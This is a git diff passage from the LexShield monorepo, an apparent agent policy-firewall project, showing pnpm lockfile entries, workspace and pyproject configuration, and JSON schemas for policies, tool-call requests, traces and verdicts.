'@vitest/utils': 3.2.7 + pathe: 2.0.3 + strip-literal: 3.1.0 + + '@vitest/snapshot@3.2.7': + dependencies: + '@vitest/pretty-format': 3.2.7 + magic-string: 0.30.21 + pathe: 2.0.3 + + '@vitest/spy@3.2.7': + dependencies: + tinyspy: 4.0.4 + + '@vitest/utils@3.2.7': + dependencies: + '@vitest/pretty-format': 3.2.7 + loupe: 3.2.1 + tinyrainbow: 2.0.0 + + acorn@8.17.0: {} + + any-promise@1.3.0: {} + + assertion-error@2.0.1: {} + + bundle-require@5.1.0(esbuild@0.27.7): + dependencies: + esbuild: 0.27.7 + load-tsconfig: 0.2.5 + + cac@6.7.14: {} + + chai@5.3.3: + dependencies: + assertion-error: 2.0.1 + check-error: 2.1.3 + deep-eql: 5.0.2 + loupe: 3.2.1 + pathval: 2.0.1 + + check-error@2.1.3: {} + + chokidar@4.0.3: + dependencies: + readdirp: 4.1.2 + + commander@4.1.1: {} + + confbox@0.1.8: {} + + consola@3.4.2: {} + + debug@4.4.3: + dependencies: + ms: 2.1.3 + + deep-eql@5.0.2: {} + + es-module-lexer@1.7.0: {} + + esbuild@0.27.7: + optionalDependencies: + '@esbuild/aix-ppc64': 0.27.7 + '@esbuild/android-arm': 0.27.7 + '@esbuild/android-arm64': 0.27.7 + '@esbuild/android-x64': 0.27.7 + '@esbuild/darwin-arm64': 0.27.7 + '@esbuild/darwin-x64': 0.27.7 + '@esbuild/freebsd-arm64': 0.27.7 + '@esbuild/freebsd-x64': 0.27.7 + '@esbuild/linux-arm': 0.27.7 + '@esbuild/linux-arm64': 0.27.7 + '@esbuild/linux-ia32': 0.27.7 + '@esbuild/linux-loong64': 0.27.7 + '@esbuild/linux-mips64el': 0.27.7 + '@esbuild/linux-ppc64': 0.27.7 + '@esbuild/linux-riscv64': 0.27.7 + '@esbuild/linux-s390x': 0.27.7 + '@esbuild/linux-x64': 0.27.7 + '@esbuild/netbsd-arm64': 0.27.7 + '@esbuild/netbsd-x64': 0.27.7 + '@esbuild/openbsd-arm64': 0.27.7 + '@esbuild/openbsd-x64': 0.27.7 + '@esbuild/openharmony-arm64': 0.27.7 + '@esbuild/sunos-x64': 0.27.7 + '@esbuild/win32-arm64': 0.27.7 + '@esbuild/win32-ia32': 0.27.7 + '@esbuild/win32-x64': 0.27.7 + + esbuild@0.28.1: + optionalDependencies: + '@esbuild/aix-ppc64': 0.28.1 + '@esbuild/android-arm': 0.28.1 + '@esbuild/android-arm64': 0.28.1 + '@esbuild/android-x64': 0.28.1 + '@esbuild/darwin-arm64': 0.28.1 + '@esbuild/darwin-x64': 0.28.1 + '@esbuild/freebsd-arm64': 0.28.1 + '@esbuild/freebsd-x64': 0.28.1 + '@esbuild/linux-arm': 0.28.1 + '@esbuild/linux-arm64': 0.28.1 + '@esbuild/linux-ia32': 0.28.1 + '@esbuild/linux-loong64': 0.28.1 + '@esbuild/linux-mips64el': 0.28.1 + '@esbuild/linux-ppc64': 0.28.1 + '@esbuild/linux-riscv64': 0.28.1 + '@esbuild/linux-s390x': 0.28.1 + '@esbuild/linux-x64': 0.28.1 + '@esbuild/netbsd-arm64': 0.28.1 + '@esbuild/netbsd-x64': 0.28.1 + '@esbuild/openbsd-arm64': 0.28.1 + '@esbuild/openbsd-x64': 0.28.1 + '@esbuild/openharmony-arm64': 0.28.1 + '@esbuild/sunos-x64': 0.28.1 + '@esbuild/win32-arm64': 0.28.1 + '@esbuild/win32-ia32': 0.28.1 + '@esbuild/win32-x64': 0.28.1 + + estree-walker@3.0.3: + dependencies: + '@types/estree': 1.0.9 + + expect-type@1.4.0: {} + + fdir@6.5.0(picomatch@4.0.5): + optionalDependencies: + picomatch: 4.0.5 + + fix-dts-default-cjs-exports@1.0.1: + dependencies: + magic-string: 0.30.21 + mlly: 1.8.2 + rollup: 4.62.2 + + fsevents@2.3.3: + optional: true + + joycon@3.1.1: {} + + js-tokens@9.0.1: {} + + lilconfig@3.1.3: {} + + lines-and-columns@1.2.4: {} + + load-tsconfig@0.2.5: {} + + loupe@3.2.1: {} + + magic-string@0.30.21: + dependencies: + '@jridgewell/sourcemap-codec': 1.5.5 + + mlly@1.8.2: + dependencies: + acorn: 8.17.0 + pathe: 2.0.3 + pkg-types: 1.3.1 + ufo: 1.6.4 + + ms@2.1.3: {} + + mz@2.7.0: + dependencies: + any-promise: 1.3.0 + object-assign: 4.1.1 + thenify-all: 1.6.0 + + nanoid@3.3.15: {} + + object-assign@4.1.1: {} + + pathe@2.0.3: {} + + pathval@2.0.1: {} + + picocolors@1.1.1: {} + + picomatch@4.0.5: {} + + pirates@4.0.7: {} + + pkg-types@1.3.1: + dependencies: + confbox: 0.1.8 + mlly: 1.8.2 + pathe: 2.0.3 + + postcss-load-config@6.0.1(postcss@8.5.16)(yaml@2.9.0): + dependencies: + lilconfig: 3.1.3 + optionalDependencies: + postcss: 8.5.16 + yaml: 2.9.0 + + postcss@8.5.16: + dependencies: + nanoid: 3.3.15 + picocolors: 1.1.1 + source-map-js: 1.2.1 + + readdirp@4.1.2: {} + + resolve-from@5.0.0: {} + + rollup@4.62.2: + dependencies: + '@types/estree': 1.0.9 + optionalDependencies: + '@rollup/rollup-android-arm-eabi': 4.62.2 + '@rollup/rollup-android-arm64': 4.62.2 + '@rollup/rollup-darwin-arm64': 4.62.2 + '@rollup/rollup-darwin-x64': 4.62.2 + '@rollup/rollup-freebsd-arm64': 4.62.2 + '@rollup/rollup-freebsd-x64': 4.62.2 + '@rollup/rollup-linux-arm-gnueabihf': 4.62.2 + '@rollup/rollup-linux-arm-musleabihf': 4.62.2 + '@rollup/rollup-linux-arm64-gnu': 4.62.2 + '@rollup/rollup-linux-arm64-musl': 4.62.2 + '@rollup/rollup-linux-loong64-gnu': 4.62.2 + '@rollup/rollup-linux-loong64-musl': 4.62.2 + '@rollup/rollup-linux-ppc64-gnu': 4.62.2 + '@rollup/rollup-linux-ppc64-musl': 4.62.2 + '@rollup/rollup-linux-riscv64-gnu': 4.62.2 + '@rollup/rollup-linux-riscv64-musl': 4.62.2 + '@rollup/rollup-linux-s390x-gnu': 4.62.2 + '@rollup/rollup-linux-x64-gnu': 4.62.2 + '@rollup/rollup-linux-x64-musl': 4.62.2 + '@rollup/rollup-openbsd-x64': 4.62.2 + '@rollup/rollup-openharmony-arm64': 4.62.2 + '@rollup/rollup-win32-arm64-msvc': 4.62.2 + '@rollup/rollup-win32-ia32-msvc': 4.62.2 + '@rollup/rollup-win32-x64-gnu': 4.62.2 + '@rollup/rollup-win32-x64-msvc': 4.62.2 + fsevents: 2.3.3 + + siginfo@2.0.0: {} + + source-map-js@1.2.1: {} + + source-map@0.7.6: {} + + stackback@0.0.2: {} + + std-env@3.10.0: {} + + strip-literal@3.1.0: + dependencies: + js-tokens: 9.0.1 + + sucrase@3.35.1: + dependencies: + '@jridgewell/gen-mapping': 0.3.13 + commander: 4.1.1 + lines-and-columns: 1.2.4 + mz: 2.7.0 + pirates: 4.0.7 + tinyglobby: 0.2.17 + ts-interface-checker: 0.1.13 + + thenify-all@1.6.0: + dependencies: + thenify: 3.3.1 + + thenify@3.3.1: + dependencies: + any-promise: 1.3.0 + + tinybench@2.9.0: {} + + tinyexec@0.3.2: {} + + tinyglobby@0.2.17: + dependencies: + fdir: 6.5.0(picomatch@4.0.5) + picomatch: 4.0.5 + + tinypool@1.1.1: {} + + tinyrainbow@2.0.0: {} + + tinyspy@4.0.4: {} + + tree-kill@1.2.2: {} + + ts-interface-checker@0.1.13: {} + + tsup@8.5.1(postcss@8.5.16)(typescript@5.9.3)(yaml@2.9.0): + dependencies: + bundle-require: 5.1.0(esbuild@0.27.7) + cac: 6.7.14 + chokidar: 4.0.3 + consola: 3.4.2 + debug: 4.4.3 + esbuild: 0.27.7 + fix-dts-default-cjs-exports: 1.0.1 + joycon: 3.1.1 + picocolors: 1.1.1 + postcss-load-config: 6.0.1(postcss@8.5.16)(yaml@2.9.0) + resolve-from: 5.0.0 + rollup: 4.62.2 + source-map: 0.7.6 + sucrase: 3.35.1 + tinyexec: 0.3.2 + tinyglobby: 0.2.17 + tree-kill: 1.2.2 + optionalDependencies: + postcss: 8.5.16 + typescript: 5.9.3 + transitivePeerDependencies: + - jiti + - supports-color + - tsx + - yaml + + typescript@5.9.3: {} + + ufo@1.6.4: {} + + undici-types@6.21.0: {} + + vite-node@3.2.4(@types/node@22.20.1)(yaml@2.9.0): + dependencies: + cac: 6.7.14 + debug: 4.4.3 + es-module-lexer: 1.7.0 + pathe: 2.0.3 + vite: 7.3.6(@types/node@22.20.1)(yaml@2.9.0) + transitivePeerDependencies: + - '@types/node' + - jiti + - less + - lightningcss + - sass + - sass-embedded + - stylus + - sugarss + - supports-color + - terser + - tsx + - yaml + + vite@7.3.6(@types/node@22.20.1)(yaml@2.9.0): + dependencies: + esbuild: 0.28.1 + fdir: 6.5.0(picomatch@4.0.5) + picomatch: 4.0.5 + postcss: 8.5.16 + rollup: 4.62.2 + tinyglobby: 0.2.17 + optionalDependencies: + '@types/node': 22.20.1 + fsevents: 2.3.3 + yaml: 2.9.0 + + vitest@3.2.7(@types/node@22.20.1)(yaml@2.9.0): + dependencies: + '@types/chai': 5.2.3 + '@vitest/expect': 3.2.7 + '@vitest/mocker': 3.2.7(vite@7.3.6(@types/node@22.20.1)(yaml@2.9.0)) + '@vitest/pretty-format': 3.2.7 + '@vitest/runner': 3.2.7 + '@vitest/snapshot': 3.2.7 + '@vitest/spy': 3.2.7 + '@vitest/utils': 3.2.7 + chai: 5.3.3 + debug: 4.4.3 + expect-type: 1.4.0 + magic-string: 0.30.21 + pathe: 2.0.3 + picomatch: 4.0.5 + std-env: 3.10.0 + tinybench: 2.9.0 + tinyexec: 0.3.2 + tinyglobby: 0.2.17 + tinypool: 1.1.1 + tinyrainbow: 2.0.0 + vite: 7.3.6(@types/node@22.20.1)(yaml@2.9.0) + vite-node: 3.2.4(@types/node@22.20.1)(yaml@2.9.0) + why-is-node-running: 2.3.0 + optionalDependencies: + '@types/node': 22.20.1 + transitivePeerDependencies: + - jiti + - less + - lightningcss + - msw + - sass + - sass-embedded + - stylus + - sugarss + - supports-color + - terser + - tsx + - yaml + + why-is-node-running@2.3.0: + dependencies: + siginfo: 2.0.0 + stackback: 0.0.2 + + yaml@2.9.0: {} + + zod@3.25.76: {} diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml new file mode 100644 index 0000000..5586fa8 --- /dev/null +++ b/pnpm-workspace.yaml @@ -0,0 +1,2 @@ +packages: + - "packages/engine-ts" diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000..38701cc --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,50 @@ +[project] +name = "lexshield-monorepo" +version = "0.0.0" +description = "LexShield — open-source agent intent router and policy firewall" +readme = "README.md" +license = { text = "MIT" } +requires-python = ">=3.11" +authors = [{ name = "LatticeAG" }] +dependencies = [ + "lexshield-cli", +] + +[tool.uv.sources] +lexshield-cli = { workspace = true } + +[tool.uv.workspace] +members = [ + "packages/engine-py", + "packages/cli", +] + +[dependency-groups] +dev = [ + "pytest>=8.0", + "pytest-asyncio>=0.24", + "ruff>=0.8", +] + +[tool.ruff] +target-version = "py311" +line-length = 100 +src = ["packages/engine-py", "packages/cli"] + +[tool.ruff.lint] +select = ["E", "F", "I", "UP", "B", "SIM", "RUF"] +ignore = ["E501"] + +[tool.ruff.lint.isort] +known-first-party = ["lexshield"] + +[tool.pytest.ini_options] +testpaths = ["packages/engine-py", "packages/cli"] +pythonpath = ["packages/engine-py/src", "packages/cli/src"] +asyncio_mode = "auto" +addopts = "-ra --strict-markers" +markers = [ + "slow: marks tests as slow", + "integration: marks integration tests", + "golden: golden fixture regression tests", +] diff --git a/schemas/policy.schema.json b/schemas/policy.schema.json new file mode 100644 index 0000000..3831b20 --- /dev/null +++ b/schemas/policy.schema.json @@ -0,0 +1,159 @@ +{ + "$schema": "https://json-schema.org/draft/2020-12/schema", + "$id": "https://lexshield.dev/schemas/policy.schema.json", + "title": "LexShield Policy", + "description": "YAML policy document shape (JSON representation). See SPEC §12 and Appendix A.", + "type": "object", + "required": ["version", "id", "name", "defaultVerdict", "rules"], + "additionalProperties": false, + "properties": { + "version": { + "type": "integer", + "minimum": 1, + "description": "Policy schema version" + }, + "id": { + "type": "string", + "minLength": 1, + "description": "Unique policy identifier" + }, + "name": { + "type": "string", + "minLength": 1 + }, + "description": { + "type": "string" + }, + "defaultVerdict": { + "$ref": "#/$defs/VerdictType" + }, + "severity_threshold": { + "type": "object", + "additionalProperties": false, + "properties": { + "alternatives_min_confidence": { + "type": "number", + "minimum": 0, + "maximum": 1 + } + } + }, + "taxonomyRef": { + "type": "string", + "description": "Optional path or id for taxonomy.yaml" + }, + "rules": { + "type": "array", + "items": { + "$ref": "#/$defs/PolicyRule" + } + } + }, + "$defs": { + "VerdictType": { + "type": "string", + "enum": ["ALLOW", "BLOCK", "CHALLENGE", "DEFER"] + }, + "PolicyRule": { + "type": "object", + "required": ["id", "priority", "match", "verdict", "reason"], + "additionalProperties": false, + "properties": { + "id": { + "type": "string", + "minLength": 1 + }, + "name": { + "type": "string" + }, + "priority": { + "type": "integer", + "description": "Higher number wins among matching rules" + }, + "enabled": { + "type": "boolean", + "default": true + }, + "match": { + "$ref": "#/$defs/RuleMatch" + }, + "verdict": { + "$ref": "#/$defs/VerdictType" + }, + "reason": { + "type": "string", + "minLength": 1 + }, + "challenge": { + "$ref": "#/$defs/ChallengeConfig" + } + } + }, + "RuleMatch": { + "type": "object", + "additionalProperties": false, + "properties": { + "intents": { + "type": "array", + "items": { "type": "string" } + }, + "tools": { + "type": "array", + "items": { "type": "string" }, + "description": "Tool name globs" + }, + "callers": { + "type": "array", + "items": { "type": "string" } + }, + "roles": { + "type": "array", + "items": { "type": "string" } + }, + "environments": { + "type": "array", + "items": { "type": "string" } + }, + "tags": { + "type": "object", + "additionalProperties": { + "type": "array", + "items": { "type": "string" } + } + }, + "minConfidence": { + "type": "number", + "minimum": 0, + "maximum": 1 + }, + "expression": { + "type": "string", + "description": "Safe boolean expression subset (SPEC §9.5)" + } + } + }, + "ChallengeConfig": { + "type": "object", + "required": ["channel", "timeoutSeconds", "onTimeout"], + "additionalProperties": false, + "properties": { + "channel": { + "type": "string", + "enum": ["stdout", "webhook", "slack", "dashboard"] + }, + "timeoutSeconds": { + "type": "integer", + "minimum": 1 + }, + "onTimeout": { + "type": "string", + "enum": ["BLOCK", "ALLOW"] + }, + "reviewers": { + "type": "array", + "items": { "type": "string" } + } + } + } + } +} diff --git a/schemas/tool-call-request.schema.json b/schemas/tool-call-request.schema.json new file mode 100644 index 0000000..a9dd14f --- /dev/null +++ b/schemas/tool-call-request.schema.json @@ -0,0 +1,137 @@ +{ + "$schema": "https://json-schema.org/draft/2020-12/schema", + "$id": "https://lexshield.dev/schemas/tool-call-request.schema.json", + "title": "LexShield ToolCallRequest", + "description": "Inbound tool call evaluation request. See SPEC §19.", + "type": "object", + "required": ["caller", "tool", "arguments", "context"], + "additionalProperties": false, + "properties": { + "id": { + "type": "string", + "description": "ULID or UUID; generated if omitted at API boundary" + }, + "shieldId": { + "type": "string", + "description": "Target shield instance id" + }, + "timestamp": { + "type": "string", + "format": "date-time" + }, + "caller": { + "$ref": "#/$defs/Caller" + }, + "tool": { + "$ref": "#/$defs/ToolRef" + }, + "arguments": { + "type": "object", + "additionalProperties": true, + "description": "Tool arguments as key-value map" + }, + "context": { + "$ref": "#/$defs/CallContext" + } + }, + "$defs": { + "CallerType": { + "type": "string", + "enum": ["user", "agent", "service_account"] + }, + "Caller": { + "type": "object", + "required": ["id", "type"], + "additionalProperties": false, + "properties": { + "id": { + "type": "string", + "minLength": 1 + }, + "type": { + "$ref": "#/$defs/CallerType" + }, + "roles": { + "type": "array", + "items": { "type": "string" } + }, + "metadata": { + "type": "object", + "additionalProperties": true + } + } + }, + "ToolRef": { + "type": "object", + "required": ["name"], + "additionalProperties": false, + "properties": { + "name": { + "type": "string", + "minLength": 1 + }, + "namespace": { + "type": "string" + }, + "version": { + "type": "string" + } + } + }, + "CallContext": { + "type": "object", + "additionalProperties": false, + "properties": { + "conversationId": { + "type": "string" + }, + "messages": { + "type": "array", + "items": { + "type": "object", + "required": ["role", "content"], + "additionalProperties": false, + "properties": { + "role": { "type": "string" }, + "content": { "type": "string" } + } + } + }, + "priorCalls": { + "type": "array", + "items": { + "$ref": "#/$defs/PriorCall" + } + }, + "environment": { + "type": "string" + }, + "tags": { + "type": "object", + "additionalProperties": { "type": "string" } + } + } + }, + "PriorCall": { + "type": "object", + "required": ["timestamp", "tool", "intent", "verdict"], + "additionalProperties": false, + "properties": { + "timestamp": { + "type": "string", + "format": "date-time" + }, + "tool": { + "$ref": "#/$defs/ToolRef" + }, + "intent": { + "type": "string" + }, + "verdict": { + "type": "string", + "enum": ["ALLOW", "BLOCK", "CHALLENGE", "DEFER"] + } + } + } + } +} diff --git a/schemas/trace.schema.json b/schemas/trace.schema.json new file mode 100644 index 0000000..3b767f9 --- /dev/null +++ b/schemas/trace.schema.json @@ -0,0 +1,129 @@ +{ + "$schema": "https://json-schema.org/draft/2020-12/schema", + "$id": "https://lexshield.dev/schemas/trace.schema.json", + "title": "LexShield Trace", + "description": "NDJSON audit trace event. See SPEC Appendix C.", + "type": "object", + "required": ["id", "ts", "shieldId", "request", "classifications", "verdict", "outcome"], + "additionalProperties": false, + "properties": { + "id": { + "type": "string", + "description": "Trace event ULID" + }, + "ts": { + "type": "string", + "format": "date-time" + }, + "shieldId": { + "type": "string" + }, + "request": { + "type": "object", + "required": ["id", "caller", "tool", "arguments_redacted", "context"], + "additionalProperties": false, + "properties": { + "id": { "type": "string" }, + "caller": { + "type": "object", + "required": ["id", "type"], + "additionalProperties": true, + "properties": { + "id": { "type": "string" }, + "type": { "type": "string" }, + "roles": { + "type": "array", + "items": { "type": "string" } + } + } + }, + "tool": { + "type": "object", + "required": ["name"], + "additionalProperties": false, + "properties": { + "name": { "type": "string" }, + "namespace": { "type": "string" }, + "version": { "type": "string" } + } + }, + "arguments_redacted": { + "type": "object", + "additionalProperties": true, + "description": "Redacted copy of tool arguments" + }, + "context": { + "type": "object", + "additionalProperties": true + } + } + }, + "classifications": { + "type": "array", + "items": { + "type": "object", + "required": ["intent", "confidence", "classifier", "alternatives"], + "additionalProperties": false, + "properties": { + "intent": { "type": "string" }, + "confidence": { "type": "number", "minimum": 0, "maximum": 1 }, + "classifier": { "type": "string" }, + "alternatives": { + "type": "array", + "items": { + "type": "object", + "required": ["intent", "confidence"], + "additionalProperties": false, + "properties": { + "intent": { "type": "string" }, + "confidence": { "type": "number", "minimum": 0, "maximum": 1 } + } + } + }, + "reasoning": { "type": "string" } + } + } + }, + "verdict": { + "type": "object", + "required": ["decision", "reason", "durationMs"], + "additionalProperties": false, + "properties": { + "decision": { + "type": "string", + "enum": ["ALLOW", "BLOCK", "CHALLENGE", "DEFER"] + }, + "matchedRuleId": { "type": "string" }, + "reason": { "type": "string" }, + "durationMs": { "type": "number", "minimum": 0 }, + "policyVersion": { "type": "string" }, + "challengeId": { "type": "string" } + } + }, + "outcome": { + "type": "string", + "enum": [ + "EXECUTED", + "BLOCKED", + "CHALLENGED", + "DEFERRED", + "ERROR", + "APPROVED_EXECUTED", + "DENIED" + ] + }, + "outcomeAt": { + "type": "string", + "format": "date-time" + }, + "redactions": { + "type": "array", + "items": { "type": "string" }, + "description": "Fields or patterns redacted in this trace" + }, + "metadata": { + "type": "object", + "additionalProperties": true + } + } +} diff --git a/schemas/verdict.schema.json b/schemas/verdict.schema.json new file mode 100644 index 0000000..db469cd --- /dev/null +++ b/schemas/verdict.schema.json @@ -0,0 +1,88 @@ +{ + "$schema": "https://json-schema.org/draft/2020-12/schema", + "$id": "https://lexshield.dev/schemas/verdict.schema.json", + "title": "LexShield Verdict", + "description": "Policy evaluation result returned to callers. See SPEC §19.", + "type": "object", + "required": ["requestId", "decision", "reason", "classifications", "durationMs"], + "additionalProperties": false, + "properties": { + "requestId": { + "type": "string", + "minLength": 1 + }, + "decision": { + "$ref": "#/$defs/VerdictType" + }, + "matchedRuleId": { + "type": "string", + "description": "Winning policy rule id, if any" + }, + "reason": { + "type": "string", + "minLength": 1 + }, + "classifications": { + "type": "array", + "items": { + "$ref": "#/$defs/Classification" + } + }, + "durationMs": { + "type": "number", + "minimum": 0 + }, + "challengeId": { + "type": "string", + "description": "Present when decision is CHALLENGE or DEFER" + }, + "policyVersion": { + "type": "string" + } + }, + "$defs": { + "VerdictType": { + "type": "string", + "enum": ["ALLOW", "BLOCK", "CHALLENGE", "DEFER"] + }, + "Classification": { + "type": "object", + "required": ["intent", "confidence", "alternatives", "classifier"], + "additionalProperties": false, + "properties": { + "intent": { + "type": "string", + "minLength": 1 + }, + "confidence": { + "type": "number", + "minimum": 0, + "maximum": 1 + }, + "alternatives": { + "type": "array", + "items": { + "type": "object", + "required": ["intent", "confidence"], + "additionalProperties": false, + "properties": { + "intent": { "type": "string" }, + "confidence": { "type": "number", "minimum": 0, "maximum": 1 } + } + } + }, + "classifier": { + "type": "string", + "description": "e.g. deterministic:v1, llm:openai:gpt-4o-mini" + }, + "reasoning": { + "type": "string" + }, + "signalsUsed": { + "type": "array", + "items": { "type": "string" } + } + } + } + } +}